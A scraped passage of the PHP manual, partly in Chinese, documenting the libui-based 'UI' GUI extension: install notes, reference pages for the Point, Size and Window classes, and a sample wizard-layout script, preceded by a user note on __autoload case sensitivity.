A problem arises when you are combining these features with the __autoload() feature. So, say I have MyClass.php which contains the MyFunction definition. Generally, if I call MyClass::MyFunction, PHP will pass "MyClass" to __autoload(), and __autoload() will open up "MyClass.php".

What we have just seen, however, means that transformToXML will pass "myclass" to __autoload(), not "MyClass", with the consequence that PHP will try to open "myclass.php", which doesn't exist, instead of "MyClass.php", which does. On case-insensitive operating systems, this is not significant, but on my RedHat server, it is--PHP will give a file not found error.

The only solution I have found is to edit the __autoload() function to look for class names which are used in my XSL files, and manually change them to the correct casing.

Another solution, obviously, is to use all-lowercase class and file names.


图形用户界面(GUI) 扩展

  • UI
    • 简介
    • 安装／配置
    • UI\Point — Represents a position (x,y)
    • UI\Size — Represents dimenstions (width, height)
    • UI\Window — Window
    • UI\Control — Control
    • UI\Menu — Menu
    • UI\MenuItem — Menu Item
    • UI\Area — Area
    • UI\Executor — Execution Scheduler
    • UI\Controls\Tab — Tab Control
    • UI\Controls\Check — Check Control
    • UI\Controls\Button — Button Control
    • UI\Controls\ColorButton — ColorButton Control
    • UI\Controls\Label — Label Control
    • UI\Controls\Entry — Entry Control
    • UI\Controls\MultilineEntry — MultilineEntry Control
    • UI\Controls\Spin — Spin Control
    • UI\Controls\Slider — Slider Control
    • UI\Controls\Progress — Progress Control
    • UI\Controls\Separator — Control Separator
    • UI\Controls\Combo — Combo Control
    • UI\Controls\EditableCombo — EdiableCombo Control
    • UI\Controls\Radio — Radio Control
    • UI\Controls\Picker — Picker Control
    • UI\Controls\Form — Control Form (Arrangement)
    • UI\Controls\Grid — Control Grid (Arrangement)
    • UI\Controls\Group — Control Group (Arrangement)
    • UI\Controls\Box — Control Box (Arrangement)
    • UI\Draw\Pen — Draw Pen
    • UI\Draw\Path — Draw Path
    • UI\Draw\Matrix — Draw Matrix
    • UI\Draw\Color — Color Representation
    • UI\Draw\Stroke — Draw Stroke
    • UI\Draw\Brush — Brushes
    • UI\Draw\Brush\Gradient — Gradient Brushes
    • UI\Draw\Brush\LinearGradient — Linear Gradient
    • UI\Draw\Brush\RadialGradient — Radial Gradient
    • UI\Draw\Text\Layout — Represents Text Layout
    • UI\Draw\Text\Font — Represents a Font
    • UI\Draw\Text\Font\Descriptor — Font Descriptor
    • UI 函数
    • UI\Draw\Text\Font\Weight — Font Weight Settings
    • UI\Draw\Text\Font\Italic — Italic Font Settings
    • UI\Draw\Text\Font\Stretch — Font Stretch Settings
    • UI\Draw\Line\Cap — Line Cap Settings
    • UI\Draw\Line\Join — Line Join Settings
    • UI\Key — Key Identifiers
    • UI\Exception\InvalidArgumentException — InvalidArgumentException
    • UI\Exception\RuntimeException — RuntimeException

User Contributed Notes

There are no user contributed notes for this page.


UI

  • 简介
  • 安装／配置
    • 需求
    • 安装
  • UI\Point — Represents a position (x,y)
    • UI\Point::at — Size Coercion
    • UI\Point::__construct — Construct a new Point
    • UI\Point::getX — Retrieves X
    • UI\Point::getY — Retrieves Y
    • UI\Point::setX — Set X
    • UI\Point::setY — Set Y
  • UI\Size — Represents dimenstions (width, height)
    • UI\Size::__construct — Construct a new Size
    • UI\Size::getHeight — Retrieves Height
    • UI\Size::getWidth — Retrives Width
    • UI\Size::of — Point Coercion
    • UI\Size::setHeight — Set Height
    • UI\Size::setWidth — Set Width
  • UI\Window — Window
    • UI\Window::add — Add a Control
    • UI\Window::__construct — Construct a new Window
    • UI\Window::error — Show Error Box
    • UI\Window::getSize — Get Window Size
    • UI\Window::getTitle — Get Title
    • UI\Window::hasBorders — Border Detection
    • UI\Window::hasMargin — Margin Detection
    • UI\Window::isFullScreen — Full Screen Detection
    • UI\Window::msg — Show Message Box
    • UI\Window::onClosing — Closing Callback
    • UI\Window::open — Open Dialog
    • UI\Window::save — Save Dialog
    • UI\Window::setBorders — Border Use
    • UI\Window::setFullScreen — Full Screen Use
    • UI\Window::setMargin — Margin Use
    • UI\Window::setSize — Set Size
    • UI\Window::setTitle — Window Title
  • UI\Control — Control
    • UI\Control::destroy — Destroy Control
    • UI\Control::disable — Disable Control
    • UI\Control::enable — Enable Control
    • UI\Control::getParent — Get Parent Control
    • UI\Control::getTopLevel — Get Top Level
    • UI\Control::hide — Hide Control
    • UI\Control::isEnabled — Determine if Control is enabled
    • UI\Control::isVisible — Determine if Control is visible
    • UI\Control::setParent — Set Parent Control
    • UI\Control::show — Control Show
  • UI\Menu — Menu
    • UI\Menu::append — Append Menu Item
    • UI\Menu::appendAbout — Append About Menu Item
    • UI\Menu::appendCheck — Append Checkable Menu Item
    • UI\Menu::appendPreferences — Append Preferences Menu Item
    • UI\Menu::appendQuit — Append Quit Menu Item
    • UI\Menu::appendSeparator — Append Menu Item Separator
    • UI\Menu::__construct — Construct a new Menu
  • UI\MenuItem — Menu Item
    • UI\MenuItem::disable — Disable Menu Item
    • UI\MenuItem::enable — Enable Menu Item
    • UI\MenuItem::isChecked — Detect Checked
    • UI\MenuItem::onClick — On Click Callback
    • UI\MenuItem::setChecked — Set Checked
  • UI\Area — Area
    • UI\Area::onDraw — Draw Callback
    • UI\Area::onKey — Key Callback
    • UI\Area::onMouse — Mouse Callback
    • UI\Area::redraw — Redraw Area
    • UI\Area::scrollTo — Area Scroll
    • UI\Area::setSize — Set Size
  • UI\Executor — Execution Scheduler
    • UI\Executor::__construct — Construct a new Executor
    • UI\Executor::kill — Stop Executor
    • UI\Executor::onExecute — Execution Callback
    • UI\Executor::setInterval — Interval Manipulation
  • UI\Controls\Tab — Tab Control
    • UI\Controls\Tab::append — Append Page
    • UI\Controls\Tab::delete — Delete Page
    • UI\Controls\Tab::hasMargin — Margin Detection
    • UI\Controls\Tab::insertAt — Insert Page
    • UI\Controls\Tab::pages — Page Count
    • UI\Controls\Tab::setMargin — Set Margin
  • UI\Controls\Check — Check Control
    • UI\Controls\Check::__construct — Construct a new Check
    • UI\Controls\Check::getText — Get Text
    • UI\Controls\Check::isChecked — Checked Detection
    • UI\Controls\Check::onToggle — Toggle Callback
    • UI\Controls\Check::setChecked — Set Checked
    • UI\Controls\Check::setText — Set Text
  • UI\Controls\Button — Button Control
    • UI\Controls\Button::__construct — Construct a new Button
    • UI\Controls\Button::getText — Get Text
    • UI\Controls\Button::onClick — Click Handler
    • UI\Controls\Button::setText — Set Text
  • UI\Controls\ColorButton — ColorButton Control
    • UI\Controls\ColorButton::getColor — Get Color
    • UI\Controls\ColorButton::onChange — Change Handler
    • UI\Controls\ColorButton::setColor — Set Color
  • UI\Controls\Label — Label Control
    • UI\Controls\Label::__construct — Construct a new Label
    • UI\Controls\Label::getText — Get Text
    • UI\Controls\Label::setText — Set Text
  • UI\Controls\Entry — Entry Control
    • UI\Controls\Entry::__construct — Construct a new Entry
    • UI\Controls\Entry::getText — Get Text
    • UI\Controls\Entry::isReadOnly — Detect Read Only
    • UI\Controls\Entry::onChange — Change Handler
    • UI\Controls\Entry::setReadOnly — Set Read Only
    • UI\Controls\Entry::setText — Set Text
  • UI\Controls\MultilineEntry — MultilineEntry Control
    • UI\Controls\MultilineEntry::append — Append Text
    • UI\Controls\MultilineEntry::__construct — Construct a new Multiline Entry
    • UI\Controls\MultilineEntry::getText — Get Text
    • UI\Controls\MultilineEntry::isReadOnly — Read Only Detection
    • UI\Controls\MultilineEntry::onChange — Change Handler
    • UI\Controls\MultilineEntry::setReadOnly — Set Read Only
    • UI\Controls\MultilineEntry::setText — Set Text
  • UI\Controls\Spin — Spin Control
    • UI\Controls\Spin::__construct — Construct a new Spin
    • UI\Controls\Spin::getValue — Get Value
    • UI\Controls\Spin::onChange — Change Handler
    • UI\Controls\Spin::setValue — Set Value
  • UI\Controls\Slider — Slider Control
    • UI\Controls\Slider::__construct — Construct a new Slider
    • UI\Controls\Slider::getValue — Get Value
    • UI\Controls\Slider::onChange — Change Handler
    • UI\Controls\Slider::setValue — Set Value
  • UI\Controls\Progress — Progress Control
    • UI\Controls\Progress::getValue — Get Value
    • UI\Controls\Progress::setValue — Set Value
  • UI\Controls\Separator — Control Separator
    • UI\Controls\Separator::__construct — Construct a new Separator
  • UI\Controls\Combo — Combo Control
    • UI\Controls\Combo::append — Append Option
    • UI\Controls\Combo::getSelected — Get Selected Option
    • UI\Controls\Combo::onSelected — Selected Handler
    • UI\Controls\Combo::setSelected — Set Selected Option
  • UI\Controls\EditableCombo — EdiableCombo Control
    • UI\Controls\EditableCombo::append — Append Option
    • UI\Controls\EditableCombo::getText — Get Text
    • UI\Controls\EditableCombo::onChange — Change Handler
    • UI\Controls\EditableCombo::setText — Set Text
  • UI\Controls\Radio — Radio Control
    • UI\Controls\Radio::append — Append Option
    • UI\Controls\Radio::getSelected — Get Selected Option
    • UI\Controls\Radio::onSelected — Selected Handler
    • UI\Controls\Radio::setSelected — Set Selected Option
  • UI\Controls\Picker — Picker Control
    • UI\Controls\Picker::__construct — Construct a new Picker
  • UI\Controls\Form — Control Form (Arrangement)
    • UI\Controls\Form::append — Append Control
    • UI\Controls\Form::delete — Delete Control
    • UI\Controls\Form::isPadded — Padding Detection
    • UI\Controls\Form::setPadded — Set Padding
  • UI\Controls\Grid — Control Grid (Arrangement)
    • UI\Controls\Grid::append — Append Control
    • UI\Controls\Grid::isPadded — Padding Detection
    • UI\Controls\Grid::setPadded — Set Padding
  • UI\Controls\Group — Control Group (Arrangement)
    • UI\Controls\Group::append — Append Control
    • UI\Controls\Group::__construct — Construct a new Group
    • UI\Controls\Group::getTitle — Get Title
    • UI\Controls\Group::hasMargin — Margin Detection
    • UI\Controls\Group::setMargin — Set Margin
    • UI\Controls\Group::setTitle — Set Title
  • UI\Controls\Box — Control Box (Arrangement)
    • UI\Controls\Box::append — Append Control
    • UI\Controls\Box::__construct — Construct a new Box
    • UI\Controls\Box::delete — Delete Control
    • UI\Controls\Box::getOrientation — Get Orientation
    • UI\Controls\Box::isPadded — Padding Detection
    • UI\Controls\Box::setPadded — Set Padding
  • UI\Draw\Pen — Draw Pen
    • UI\Draw\Pen::clip — Clip a Path
    • UI\Draw\Pen::fill — Fill a Path
    • UI\Draw\Pen::restore — Restore
    • UI\Draw\Pen::save — Save
    • UI\Draw\Pen::stroke — Stroke a Path
    • UI\Draw\Pen::transform — Matrix Transform
    • UI\Draw\Pen::write — Draw Text at Point
  • UI\Draw\Path — Draw Path
    • UI\Draw\Path::addRectangle — Draw a Rectangle
    • UI\Draw\Path::arcTo — Draw an Arc
    • UI\Draw\Path::bezierTo — Draw Bezier Curve
    • UI\Draw\Path::closeFigure — Close Figure
    • UI\Draw\Path::__construct — Construct a new Path
    • UI\Draw\Path::end — Finalize Path
    • UI\Draw\Path::lineTo — Draw a Line
    • UI\Draw\Path::newFigure — Draw Figure
    • UI\Draw\Path::newFigureWithArc — Draw Figure with Arc
  • UI\Draw\Matrix — Draw Matrix
    • UI\Draw\Matrix::invert — Invert Matrix
    • UI\Draw\Matrix::isInvertible — Invertible Detection
    • UI\Draw\Matrix::multiply — Multiply Matrix
    • UI\Draw\Matrix::rotate — Rotate Matrix
    • UI\Draw\Matrix::scale — Scale Matrix
    • UI\Draw\Matrix::skew — Skew Matrix
    • UI\Draw\Matrix::translate — Translate Matrix
  • UI\Draw\Color — Color Representation
    • UI\Draw\Color::__construct — Construct new Color
    • UI\Draw\Color::getChannel — Color Manipulation
    • UI\Draw\Color::setChannel — Color Manipulation
  • UI\Draw\Stroke — Draw Stroke
    • UI\Draw\Stroke::__construct — Construct a new Stroke
    • UI\Draw\Stroke::getCap — Get Line Cap
    • UI\Draw\Stroke::getJoin — Get Line Join
    • UI\Draw\Stroke::getMiterLimit — Get Miter Limit
    • UI\Draw\Stroke::getThickness — Get Thickness
    • UI\Draw\Stroke::setCap — Set Line Cap
    • UI\Draw\Stroke::setJoin — Set Line Join
    • UI\Draw\Stroke::setMiterLimit — Set Miter Limit
    • UI\Draw\Stroke::setThickness — Set Thickness
  • UI\Draw\Brush — Brushes
    • UI\Draw\Brush::__construct — Construct a new Brush
    • UI\Draw\Brush::getColor — Get Color
    • UI\Draw\Brush::setColor — Set Color
  • UI\Draw\Brush\Gradient — Gradient Brushes
    • UI\Draw\Brush\Gradient::addStop — Stop Manipulation
    • UI\Draw\Brush\Gradient::delStop — Stop Manipulation
    • UI\Draw\Brush\Gradient::setStop — Stop Manipulation
  • UI\Draw\Brush\LinearGradient — Linear Gradient
    • UI\Draw\Brush\LinearGradient::__construct — Construct a Linear Gradient
  • UI\Draw\Brush\RadialGradient — Radial Gradient
    • UI\Draw\Brush\RadialGradient::__construct — Construct a new Radial Gradient
  • UI\Draw\Text\Layout — Represents Text Layout
    • UI\Draw\Text\Layout::__construct — Construct a new Text Layout
    • UI\Draw\Text\Layout::setColor — Set Color
    • UI\Draw\Text\Layout::setWidth — Set Width
  • UI\Draw\Text\Font — Represents a Font
    • UI\Draw\Text\Font::__construct — Construct a new Font
    • UI\Draw\Text\Font::getAscent — Font Metrics
    • UI\Draw\Text\Font::getDescent — Font Metrics
    • UI\Draw\Text\Font::getLeading — Font Metrics
    • UI\Draw\Text\Font::getUnderlinePosition — Font Metrics
    • UI\Draw\Text\Font::getUnderlineThickness — Font Metrics
  • UI\Draw\Text\Font\Descriptor — Font Descriptor
    • UI\Draw\Text\Font\Descriptor::__construct — Construct a new Font Descriptor
    • UI\Draw\Text\Font\Descriptor::getFamily — Get Font Family
    • UI\Draw\Text\Font\Descriptor::getItalic — Style Detection
    • UI\Draw\Text\Font\Descriptor::getSize — Size Detection
    • UI\Draw\Text\Font\Descriptor::getStretch — Style Detection
    • UI\Draw\Text\Font\Descriptor::getWeight — Weight Detection
  • UI 函数
    • UI\Draw\Text\Font\fontFamilies — Retrieve Font Families
    • UI\quit — Quit UI Loop
    • UI\run — Enter UI Loop
  • UI\Draw\Text\Font\Weight — Font Weight Settings
  • UI\Draw\Text\Font\Italic — Italic Font Settings
  • UI\Draw\Text\Font\Stretch — Font Stretch Settings
  • UI\Draw\Line\Cap — Line Cap Settings
  • UI\Draw\Line\Join — Line Join Settings
  • UI\Key — Key Identifiers
  • UI\Exception\InvalidArgumentException — InvalidArgumentException
  • UI\Exception\RuntimeException — RuntimeException

User Contributed Notes

There are no user contributed notes for this page.


简介

This extension wraps libui to provide an OO API for the cross platform development of native look-and-feel user interfaces .

User Contributed Notes

There are no user contributed notes for this page.


安装／配置

Table of Contents

  • 需求
  • 安装

User Contributed Notes

whirlwind110 at 163 dot com 18-Apr-2017 04:04
Requirements:
    PHP 7
    libui (use current master)
    Windows/MacOSX/Linux (GTK-3)

Install re2c:
    sudo apt install re2c

Install libui:

    git clone https://github.com/andlabs/libui.git
    cd libui
    sudo cp *.h /usr/local/include/
    cmake .
    cd out
    sudo cp * /usr/lib/

Install ui:

    Method one: use pecl:
        sudo pecl install channel://pecl.php.net/ui-2.0.0

    Method two:build source code:
        git clone https://github.com/krakjoe/ui.git
        cd ui
        phpize
        make
        sudo make install

Enable ui.so:
    sudo echo 'extension=ui.so' > /etc/php/7.0/mods-available/ui.ini
    sudo ln -s /etc/php/7.0/mods-available/ui.ini 20-ui.ini

Test:
    php -m
    git clone https://github.com/krakjoe/ui.git
    cd ui/examples/
    php snake.php


需求

Installation requires the libui library, and PHP 7 or newer.

This extension requires the » libui library version 0.1.0 or higher to be installed. See the libui documentation for a list of prerequisites.

User Contributed Notes

There are no user contributed notes for this page.


安装

此 » PECL 扩展未与 PHP 捆绑。

安装此 PECL 扩展相关的信息可在手册中标题为 PECL 扩展的安装章节中找到。更多信息如新的发行版本、下载、源文件、 维护人员信息及变更日志等，都在此处： » https://pecl.php.net/package/ui.

Windows binaries (DLL files) for this PECL extension are available from the PECL website.

User Contributed Notes

There are no user contributed notes for this page.


Represents a position (x,y)

(PHP 7, UI 0.9.9)

简介

Points are used throughout UI to represent co-ordinates on a screen, control, or area.

类摘要

final UI\Point {
/* 属性 */
public $x ;
public $y ;
/* Constructor */
public __construct ( float $x , float $y )
/* 方法 */
public static at ( float $point ) : UI\Point
public static at ( UI\Size $size ) : UI\Point
public getX ( void ) : float
public getY ( void ) : float
public setX ( float $point )
public setY ( float $point )
}

属性

x

Holds the X co-ordinate, can be read/written directly

y

Holds the Y co-ordinate, can be read/written directly

Table of Contents

  • UI\Point::at — Size Coercion
  • UI\Point::__construct — Construct a new Point
  • UI\Point::getX — Retrieves X
  • UI\Point::getY — Retrieves Y
  • UI\Point::setX — Set X
  • UI\Point::setY — Set Y

User Contributed Notes

There are no user contributed notes for this page.


Size Coercion

  • ? UI\Point
  • UI\Point::__construct ?
  • PHP Manual
  • UI\Point
  • Size Coercion

UI\Point::at

(PHP 7, UI 1.0.2)

UI\Point::at — Size Coercion

说明

public static UI\Point::at ( float $point ) : UI\Point
public static UI\Point::at ( UI\Size $size ) : UI\Point

Shall return a UI\Point object where x and y are equal to those supplied, either in float or UI\Size form

参数

point

The value for x and y

size

The Size to convert

返回值

The resulting Point

User Contributed Notes

There are no user contributed notes for this page.


Construct a new Point

  • ? UI\Point::at
  • UI\Point::getX ?
  • PHP Manual
  • UI\Point
  • Construct a new Point

UI\Point::__construct

(PHP 7, UI 0.9.9)

UI\Point::__construct — Construct a new Point

说明

public UI\Point::__construct ( float $x , float $y )

Construct a new Point using new co-ordinates

参数

x

The new X co-ordinate

y

The new Y co-ordinate

User Contributed Notes

There are no user contributed notes for this page.


Retrieves X

  • ? UI\Point::__construct
  • UI\Point::getY ?
  • PHP Manual
  • UI\Point
  • Retrieves X

UI\Point::getX

(PHP 7, UI 0.9.9)

UI\Point::getX — Retrieves X

说明

public UI\Point::getX ( void ) : float

Retrieves the X co-ordinate

参数

此函数没有参数。

返回值

The current X co-ordinate

User Contributed Notes

There are no user contributed notes for this page.


Retrieves Y

  • ? UI\Point::getX
  • UI\Point::setX ?
  • PHP Manual
  • UI\Point
  • Retrieves Y

UI\Point::getY

(PHP 7, UI 0.9.9)

UI\Point::getY — Retrieves Y

说明

public UI\Point::getY ( void ) : float

Retrieves the Y co-ordinate

参数

此函数没有参数。

返回值

The current Y co-ordinate

User Contributed Notes

There are no user contributed notes for this page.


Set X

  • ? UI\Point::getY
  • UI\Point::setY ?
  • PHP Manual
  • UI\Point
  • Set X

UI\Point::setX

(PHP 7, UI 0.9.9)

UI\Point::setX — Set X

说明

public UI\Point::setX ( float $point )

Set the X co-ordinate

参数

point

The new X co-ordinate

返回值

User Contributed Notes

There are no user contributed notes for this page.


Set Y

  • ? UI\Point::setX
  • UI\Size ?
  • PHP Manual
  • UI\Point
  • Set Y

UI\Point::setY

(PHP 7, UI 0.9.9)

UI\Point::setY — Set Y

说明

public UI\Point::setY ( float $point )

Set the Y co-ordinate

参数

point

The new Y co-ordinate

返回值

User Contributed Notes

There are no user contributed notes for this page.


Represents dimenstions (width, height)

(PHP 7, UI 0.9.9)

简介

Sizes are used throughout UI to represent the size of a screen, control, or area.

类摘要

final UI\Size {
/* 属性 */
public $width ;
public $height ;
/* Constructor */
public __construct ( float $width , float $height )
/* 方法 */
public getHeight ( void ) : float
public getWidth ( void ) : float
public static of ( float $size ) : UI\Size
public static of ( UI\Point $point ) : UI\Size
public setHeight ( float $size )
public setWidth ( float $size )
}

属性

width

Holds the width, can be read/written directly

height

Holds the height, can be read/written directly

Table of Contents

  • UI\Size::__construct — Construct a new Size
  • UI\Size::getHeight — Retrieves Height
  • UI\Size::getWidth — Retrives Width
  • UI\Size::of — Point Coercion
  • UI\Size::setHeight — Set Height
  • UI\Size::setWidth — Set Width

User Contributed Notes

There are no user contributed notes for this page.


Construct a new Size

  • ? UI\Size
  • UI\Size::getHeight ?
  • PHP Manual
  • UI\Size
  • Construct a new Size

UI\Size::__construct

(PHP 7, UI 0.9.9)

UI\Size::__construct — Construct a new Size

说明

public UI\Size::__construct ( float $width , float $height )

Construct a new Size using new width and height

参数

width

The new width

height

The new height

User Contributed Notes

There are no user contributed notes for this page.


Retrieves Height

  • ? UI\Size::__construct
  • UI\Size::getWidth ?
  • PHP Manual
  • UI\Size
  • Retrieves Height

UI\Size::getHeight

(PHP 7, UI 0.9.9)

UI\Size::getHeight — Retrieves Height

说明

public UI\Size::getHeight ( void ) : float

Retrieves the Height

参数

此函数没有参数。

返回值

The current Height

User Contributed Notes

There are no user contributed notes for this page.


Retrives Width

  • ? UI\Size::getHeight
  • UI\Size::of ?
  • PHP Manual
  • UI\Size
  • Retrives Width

UI\Size::getWidth

(PHP 7, UI 0.9.9)

UI\Size::getWidth — Retrives Width

说明

public UI\Size::getWidth ( void ) : float

Retrieves the Width

参数

此函数没有参数。

返回值

The current Width

User Contributed Notes

There are no user contributed notes for this page.


Point Coercion

  • ? UI\Size::getWidth
  • UI\Size::setHeight ?
  • PHP Manual
  • UI\Size
  • Point Coercion

UI\Size::of

(PHP 7, UI 1.0.2)

UI\Size::of — Point Coercion

说明

public static UI\Size::of ( float $size ) : UI\Size
public static UI\Size::of ( UI\Point $point ) : UI\Size

Shall return a UI\Size object where width and height are equal to those supplied, either in float or UI\Point form

参数

size

The value for width and height

point

The Point to convert

返回值

The resulting Size

User Contributed Notes

There are no user contributed notes for this page.


Set Height

  • ? UI\Size::of
  • UI\Size::setWidth ?
  • PHP Manual
  • UI\Size
  • Set Height

UI\Size::setHeight

(PHP 7, UI 0.9.9)

UI\Size::setHeight — Set Height

说明

public UI\Size::setHeight ( float $size )

Set new Height

参数

size

The new Height

返回值

User Contributed Notes

There are no user contributed notes for this page.


Set Width

  • ? UI\Size::setHeight
  • UI\Window ?
  • PHP Manual
  • UI\Size
  • Set Width

UI\Size::setWidth

(PHP 7, UI 0.9.9)

UI\Size::setWidth — Set Width

说明

public UI\Size::setWidth ( float $size )

Set new Width

参数

size

The new Width

返回值

User Contributed Notes

There are no user contributed notes for this page.


Window

(PHP 7, UI 0.9.9)

简介

Represents a UI Window

类摘要

UI\Window extends UI\Control {
/* 属性 */
protected $controls ;
/* Constructor */
public __construct ( string $title , Size $size [, bool $menu = FALSE ] )
/* 方法 */
public add ( UI\Control $control )
public error ( string $title , string $msg )
public getSize ( void ) : UI\Size
public getTitle ( void ) : string
public hasBorders ( void ) : bool
public hasMargin ( void ) : bool
public isFullScreen ( void ) : bool
public msg ( string $title , string $msg )
protected onClosing ( void ) : int
public open ( void ) : string
public save ( void ) : string
public setBorders ( bool $borders )
public setFullScreen ( bool $full )
public setMargin ( bool $margin )
public setSize ( UI\Size $size )
public setTitle ( string $title )
/* 继承的方法 */
public UI\Control::destroy ( void )
public UI\Control::disable ( void )
public UI\Control::enable ( void )
public UI\Control::getParent ( void ) : UI\Control
public UI\Control::getTopLevel ( void ) : int
public UI\Control::hide ( void )
public UI\Control::isEnabled ( void ) : bool
public UI\Control::isVisible ( void ) : bool
public UI\Control::setParent ( UI\Control $parent )
public UI\Control::show ( void )
}

属性

controls

Contains controls, should not be manipulated directly

Table of Contents

  • UI\Window::add — Add a Control
  • UI\Window::__construct — Construct a new Window
  • UI\Window::error — Show Error Box
  • UI\Window::getSize — Get Window Size
  • UI\Window::getTitle — Get Title
  • UI\Window::hasBorders — Border Detection
  • UI\Window::hasMargin — Margin Detection
  • UI\Window::isFullScreen — Full Screen Detection
  • UI\Window::msg — Show Message Box
  • UI\Window::onClosing — Closing Callback
  • UI\Window::open — Open Dialog
  • UI\Window::save — Save Dialog
  • UI\Window::setBorders — Border Use
  • UI\Window::setFullScreen — Full Screen Use
  • UI\Window::setMargin — Margin Use
  • UI\Window::setSize — Set Size
  • UI\Window::setTitle — Window Title

User Contributed Notes

everton3x at gmail dot com 03-Feb-2017 12:58
This is a example to wizard layout in UI library:

<?php

/*
 * Wizard sample layout builded with PHP UI
 */

use UI\Window;
use UI\Size;
use UI\Controls\Button;
use UI\Controls\Grid;
use UI\Controls\Box;
use UI\Controls\Form;
use UI\Controls\Entry;
use UI\Controls\Label;

/*
 * The window
 */
$window = new Window('Wizard Sample Layout', new Size(640, 480), TRUE);
$window->setMargin(true);

/*
 * Wizard content (sample)
 */
$content = new Form();
$content->setPadded(true);
$content->append('User:', new Entry());
$content->append('Password:', new Entry(Entry::Password));

/*
 * Layout to title, content and buttons
 */
$grid = new Grid();
$grid->setPadded(false);

/*
 * Title
 */
$grid->append(new Label('Wizard Sample'), 0, 0, 6, 1, true, Grid::Fill, false, Grid::Fill);

/*
 * Append content
 */
$grid->append($content, 0, 1, 6, 1, false, Grid::Fill, true, Grid::Fill);

/*
 * Left buttons
 */
$left_box = new Box(Box::Horizontal);
$left_box->append(new Button('&About'));
$left_box->append(new Button('&Help'));

/*
 * Right buttons
 */
$right_box = new Box(Box::Horizontal);
$right_box->append(new Button('&Back'));
$right_box->append(new Button('&Forward'));
$right_box->append(new Button('&Close'));

/**
 * Append buttons
 */
$grid->append($left_box, 0, 2, 1, 1, true, Grid::Start, false, Grid::Fill);
$grid->append($right_box, 5, 2, 1, 1, true, Grid::End, false, Grid::Fill);

/*
 * Append layout and show.
 */
$window->add($grid);

$window->show();

UI\run();

?>


Add a Control

  • ? UI\Window
  • UI\Window::__construct ?
  • PHP Manual
  • UI\Window
  • Add a Control

UI\Window::add

(PHP 7, UI 0.9.9)

UI\Window::add — Add a Control

说明

public UI\Window::add ( UI\Control $control )

Shall add a Control to this Window

参数

control

The Control to add

返回值

User Contributed Notes

There are no user contributed notes for this page.


Construct a new Window

  • ? UI\Window::add
  • UI\Window::error ?
  • PHP Manual
  • UI\Window
  • Construct a new Window

UI\Window::__construct

(PHP 7, UI 0.9.9)

UI\Window::__construct — Construct a new Window

说明

public UI\Window::__construct ( string $title , Size $size [, bool $menu = FALSE ] )

Shall construct a new Window

参数

title

The title of the Window

size

The size of the Window

menu

Menu switch

User Contributed Notes

There are no user contributed notes for this page.


Show Error Box

  • ? UI\Window::__construct
  • UI\Window::getSize ?
  • PHP Manual
  • UI\Window
  • Show Error Box

UI\Window::error

(PHP 7, UI 0.9.9)

UI\Window::error — Show Error Box

说明

public UI\Window::error ( string $title , string $msg )

Shall show an error box

参数

title

The title of the error box

msg

The message for the error box

User Contributed Notes

There are no user contributed notes for this page.


Get Window Size

  • ? UI\Window::error
  • UI\Window::getTitle ?
  • PHP Manual
  • UI\Window
  • Get Window Size

UI\Window::getSize

(PHP 7, UI 0.9.9)

UI\Window::getSize — Get Window Size

说明

public UI\Window::getSize ( void ) : UI\Size

Shall return the size of this Window

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Get Title

  • ? UI\Window::getSize
  • UI\Window::hasBorders ?
  • PHP Manual
  • UI\Window
  • Get Title

UI\Window::getTitle

(PHP 7, UI 0.9.9)

UI\Window::getTitle — Get Title

说明

public UI\Window::getTitle ( void ) : string

Shall retrieve the title of this Window

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Border Detection

  • ? UI\Window::getTitle
  • UI\Window::hasMargin ?
  • PHP Manual
  • UI\Window
  • Border Detection

UI\Window::hasBorders

(PHP 7, UI 0.9.9)

UI\Window::hasBorders — Border Detection

说明

public UI\Window::hasBorders ( void ) : bool

Shall detect if borders are used on this Window

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Margin Detection

  • ? UI\Window::hasBorders
  • UI\Window::isFullScreen ?
  • PHP Manual
  • UI\Window
  • Margin Detection

UI\Window::hasMargin

(PHP 7, UI 0.9.9)

UI\Window::hasMargin — Margin Detection

说明

public UI\Window::hasMargin ( void ) : bool

Shall detect if margins are used on this Window

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Full Screen Detection

  • ? UI\Window::hasMargin
  • UI\Window::msg ?
  • PHP Manual
  • UI\Window
  • Full Screen Detection

UI\Window::isFullScreen

(PHP 7, UI 0.9.9)

UI\Window::isFullScreen — Full Screen Detection

说明

public UI\Window::isFullScreen ( void ) : bool

Shall detect if this Window us using the whole screen

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Show Message Box

  • ? UI\Window::isFullScreen
  • UI\Window::onClosing ?
  • PHP Manual
  • UI\Window
  • Show Message Box

UI\Window::msg

(PHP 7, UI 0.9.9)

UI\Window::msg — Show Message Box

说明

public UI\Window::msg ( string $title , string $msg )

Shall show a message box

参数

title

The title of the message box

msg

The message

User Contributed Notes

There are no user contributed notes for this page.


Closing Callback

  • ? UI\Window::msg
  • UI\Window::open ?
  • PHP Manual
  • UI\Window
  • Closing Callback

UI\Window::onClosing

(PHP 7, UI 0.9.9)

UI\Window::onClosing — Closing Callback

说明

protected UI\Window::onClosing ( void ) : int

Should gracefully destroy this Window

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Open Dialog

  • ? UI\Window::onClosing
  • UI\Window::save ?
  • PHP Manual
  • UI\Window
  • Open Dialog

UI\Window::open

(PHP 7, UI 0.9.9)

UI\Window::open — Open Dialog

说明

public UI\Window::open ( void ) : string

Shall show an open file dialog

参数

此函数没有参数。

返回值

Returns the name of the file selected for opening

User Contributed Notes

There are no user contributed notes for this page.


Save Dialog

  • ? UI\Window::open
  • UI\Window::setBorders ?
  • PHP Manual
  • UI\Window
  • Save Dialog

UI\Window::save

(PHP 7, UI 0.9.9)

UI\Window::save — Save Dialog

说明

public UI\Window::save ( void ) : string

Shall show a save dialog

参数

此函数没有参数。

返回值

Returns the file name selecting for saving

User Contributed Notes

There are no user contributed notes for this page.


Border Use

  • ? UI\Window::save
  • UI\Window::setFullScreen ?
  • PHP Manual
  • UI\Window
  • Border Use

UI\Window::setBorders

(PHP 7, UI 0.9.9)

UI\Window::setBorders — Border Use

说明

public UI\Window::setBorders ( bool $borders )

Shall enable or disable the use of borders on this Window

参数

borders

User Contributed Notes

There are no user contributed notes for this page.


Full Screen Use

  • ? UI\Window::setBorders
  • UI\Window::setMargin ?
  • PHP Manual
  • UI\Window
  • Full Screen Use

UI\Window::setFullScreen

